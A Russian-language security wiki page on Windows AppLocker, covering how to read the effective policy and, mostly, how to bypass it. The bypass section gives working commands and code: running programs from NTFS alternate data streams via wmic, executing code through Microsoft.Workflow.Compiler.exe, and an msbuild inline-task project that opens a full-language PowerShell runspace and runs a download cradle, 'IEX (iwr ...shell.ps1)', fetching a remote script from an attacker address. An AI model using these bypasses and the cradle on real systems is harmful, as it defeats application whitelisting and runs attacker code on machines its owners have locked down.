Applocker — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Обход AppLocker)
м (InstallUtil)
Строка 107: Строка 107:
 
== InstallUtil ==
 
== InstallUtil ==
  
См. [amsi]
+
См. [[amsi]]
  
 
== Microsoft.Workflow.Compiler.exe ==
 
== Microsoft.Workflow.Compiler.exe ==

Версия 15:07, 16 марта 2022

Applocker - функция управления приложениями и политиками по запуску программного обеспечения в Windows.

Позволяет управлять:

  • Исполняемые файлы
    • EXE
    • COM
  • Скрипты
    • JS
    • PS1
    • VBS
    • CMD
    • BAT
  • Установочные файлы
    • MST
    • MSI
    • MSP
  • Библиотеки
    • DLL
    • OCX
  • Упакованные приложения
    • APPX

Общее

Получение политики (все юзеры)

1 Get-ApplockerPolicy -effective

Получение политики (все группы текущего пользователя)

 1 $a = Get-ApplockerPolicy -effective
 2 
 3 $u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
 4 $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups)
 5 
 6 Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){
 7 $f = 0;
 8 $v = $y.UserOrGroupSid.value; 
 9 Foreach ($z in $g){
10 if (($z.Value -eq $u) -or ($z.Value -eq $v)){
11 $f= 1;
12 };
13 };
14   if ($f -eq 1){
15 Write-Output $y.PathConditions;
16 Write-Output $y.Action;
17 }
18 }}

Однострочник

1 $a = Get-ApplockerPolicy -effective;$u = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value; $g = @([Security.Principal.WindowsIdentity]::GetCurrent().Groups);Foreach ($x in @($a.rulecollections)){Foreach($y in @($x)){$f = 0;$v = $y.UserOrGroupSid.value; Foreach ($z in $g){if (($z.Value -eq $u) -or ($z.Value -eq $v)){$f= 1;};};if ($f -eq 1){Write-Output $y.PathConditions;Write-Output $y.Action;};};};

Обход AppLocker

Альтернативный канал

Например, если политика разрешат запуск из C:\logs то следующей командой мы можем сохранить файл в альтернативный канал и запустить его:

1 type test.exe > C:\logs:test.exe
2 wmic process call create '"C:\logs:test.exe"'

Интерпретаторы

  • python
  • perl
  • java

И так далее

Макросы ворда

Макросы ворда VBS позволяют тоже обойти AppLocker и запустить произвольный код.

Небезопасные политики

Требуется посмотреть список директорий, откуда можно запускать файлы, и проверить какие из директорий/файлов доступны для записи.


InstallUtil

См. amsi

Microsoft.Workflow.Compiler.exe

test.xml:

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
 3 <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
 4 <d2p1:string>test.xoml</d2p1:string>
 5 </files>
 6 <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
 7 <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
 8 <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
 9 <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
10 <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
11 <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
12 <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
13 <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
14 <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
15 <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
16 <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
17 <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
18 <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
19 <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
20 <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
21 <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
22 <d2p1:checkTypes>false</d2p1:checkTypes>
23 <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
24 <d2p1:compilerOptions i:nil="true" />
25 <d2p1:generateCCU>false</d2p1:generateCCU>
26 <d2p1:languageToUse>CSharp</d2p1:languageToUse>
27 <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
28 <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
29 <d2p1:mtInfo i:nil="true" />
30 <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
31 </parameters>
32 </CompilerInput>


text.xoml:

 1 <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
 2     <CodeActivity x:Name="codeActivity1" />
 3     <x:Code><![CDATA[
 4     public class Foo : SequentialWorkflowActivity {
 5      public Foo() {
 6             Console.WriteLine("FOOO!!!!");
 7         }
 8     }
 9     ]]></x:Code>
10 </SequentialWorkflowActivity>


Microsoft.Workflow.Compiler.exe соберет XML-проет и запустит его:

1 C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml

Полный фрагмент кода для автоматизации запуска:

 1 function New-CompilerInputXml {
 2 <#
 3 .SYNOPSIS
 4 Creates a an XML file consisting of a serialized CompilerInput object.
 5 .DESCRIPTION
 6 New-CompilerInputXml creates an XML file consisting of compiler options. This file is required as the first argument for Microsoft.Workflow.Compiler.exe.
 7 .PARAMETER XOMLPath
 8 Specifies the path to the target XOML file. This can be a relative or absolute path. This path will be included in the resulting XML file that New-CompilerInputXml outputs.
 9 .PARAMETER OutputPath
10 Specifies the path to which New-CompilerInputXml will save the serialized CompilerInput object.
11 .EXAMPLE
12 New-CompilerInputXml -XOMLPath C:\Test\foo.xoml -OutputPath test.xml
13 Outputs a serialized CompilerInput object to test.xml and specifies a full path to a XOML assembly reference.
14 .EXAMPLE
15 New-CompilerInputXml -XOMLPath foo.xoml -OutputPath test.txt
16 Outputs a serialized CompilerInput object to test.txt and specifies a XOML assembly reference using a relative path. Note that Microsoft.Workflow.Compiler.exe doesn't care about the extension supplied in the first argument.
17 .OUTPUTS
18 System.IO.FileInfo
19 Outputs a FileInfo object to serve as confirmation that the resulting serialized XML wil was created.
20 #>
21 
22     [OutputType([System.IO.FileInfo])]
23     param (
24         [String]
25         [ValidateNotNullOrEmpty()]
26         $XOMLPath = 'test.xoml',
27 
28         [Parameter(Mandatory = $True)]
29         [String]
30         [ValidateNotNullOrEmpty()]
31         $OutputPath
32     )
33 
34     # This assembly won't be loaded by default. We need to load
35     # it in order to get access to the WorkflowCompilerParameters class.
36     Add-Type -AssemblyName 'System.Workflow.ComponentModel'
37 
38     # This class contains the properties we need to specify for Microsoft.Workflow.Compiler.exe
39     $WFCompilerParams = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
40 
41     # Necessary to get Microsoft.Workflow.Compiler.exe to call Assembly.Load(byte[])
42     $WFCompilerParams.GenerateInMemory = $True
43 
44     # Full path to Microsoft.Workflow.Compiler.exe that we will load and access a non-public method from
45     $WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'
46 
47     # Load the assembly
48     $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)
49 
50     # This is the helper method that will serialize the CompilerInput object to disk
51     $SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
52 
53     $TempFile = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $WFCompilerParams, [String[]] @(,$OutputPath)))
54 
55     Move-Item $TempFile $OutputPath -PassThru
56 }

Подробнее тут: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb


msbuild.exe

test.csproj:

 1 <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 2   <!-- This inline task executes c# code. -->
 3   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
 4   <Target Name="Hello">
 5    <ClassExample />
 6   </Target>
 7 	<UsingTask
 8     TaskName="ClassExample"
 9     TaskFactory="CodeTaskFactory"
10     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
11 	<Task>
12 	 <Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
13 	 <!-- Your PowerShell Path May vary -->
14       <Code Type="Class" Language="cs">
15         <![CDATA[
16 			// all code by Casey Smith @SubTee
17 			using System;
18 			using System.Reflection;
19 			using Microsoft.Build.Framework;
20 			using Microsoft.Build.Utilities;
21 			
22 			using System.Collections.ObjectModel;
23 			using System.Management.Automation;
24 			using System.Management.Automation.Runspaces;
25 			using System.Text;
26 				
27 			public class ClassExample :  Task, ITask
28 			{
29 				public override bool Execute()
30 				{
31 					//Console.WriteLine("Hello From a Class.");
32 					Console.WriteLine(powaShell.RunPSCommand());
33 					return true;
34 				}
35 			}
36 			
37 			//Based on Jared Atkinson's And Justin Warner's Work
38 			public class powaShell
39 			{
40 				public static string RunPSCommand()
41 				{
42 										
43 					//Init stuff
44 					
45 					InitialSessionState iss = InitialSessionState.CreateDefault();
46 					iss.LanguageMode = PSLanguageMode.FullLanguage;
47 					Runspace runspace = RunspaceFactory.CreateRunspace(iss);
48 					runspace.Open();
49 					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
50 					Pipeline pipeline = runspace.CreatePipeline();
51 					
52 					//Interrogate LockDownPolicy
53 					Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());				
54 					
55 					
56 					
57 					//Add commands
58 					pipeline.Commands.AddScript("IEX (iwr 'http://10.10.10.10/shell.ps1')");  // powershell 3.0+ download cradle
59 					//Prep PS for string output and invoke
60 					pipeline.Commands.Add("Out-String");
61 					Collection<PSObject> results = pipeline.Invoke();
62 					runspace.Close();
63 					//Convert records to strings
64 					StringBuilder stringBuilder = new StringBuilder();
65 					foreach (PSObject obj in results)
66 					{
67 						stringBuilder.Append(obj);
68 					}
69 					return stringBuilder.ToString().Trim();		  
70 				}
71 			}
72 							
73         ]]>
74       </Code>
75     </Task>
76   </UsingTask>
77 </Project>

Скрипт загружает powershell-файл по ссылке http://10.10.10.10/shell.ps1


Нужно только скомпилировать проект:

1 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Users\Public\Downloads\powashell.csproj

Ссылки